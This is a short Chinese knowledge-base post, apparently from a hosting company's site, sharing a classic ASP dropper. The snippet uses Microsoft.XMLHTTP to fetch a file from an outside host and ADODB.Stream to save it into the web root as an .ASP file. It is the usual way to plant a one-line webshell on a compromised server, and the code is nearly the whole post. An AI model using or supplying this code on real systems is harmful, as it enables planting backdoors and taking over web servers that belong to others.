知识库

asp中使用xmlhttp下载一句话

来源: 本站    类别: 知识库    日期: 2013/9/2

 分享一下
在3est活动中学习的godlong的

 

<%
Set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.fxxxx.com/1.txt",0 '下载文件的地址
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "E:\WWWROOT\fuck1.ASP",2
%>

相关文章


Copyright © 2004 - 2024 CNHWW Inc. All Rights Reserved
石家庄市征红网络科技有限公司版权所有 邮政编码:050051
服务电话:0311-85315152 13931185013 在线客服QQ:81447932 / 81447933 邮箱: cnhww@163.com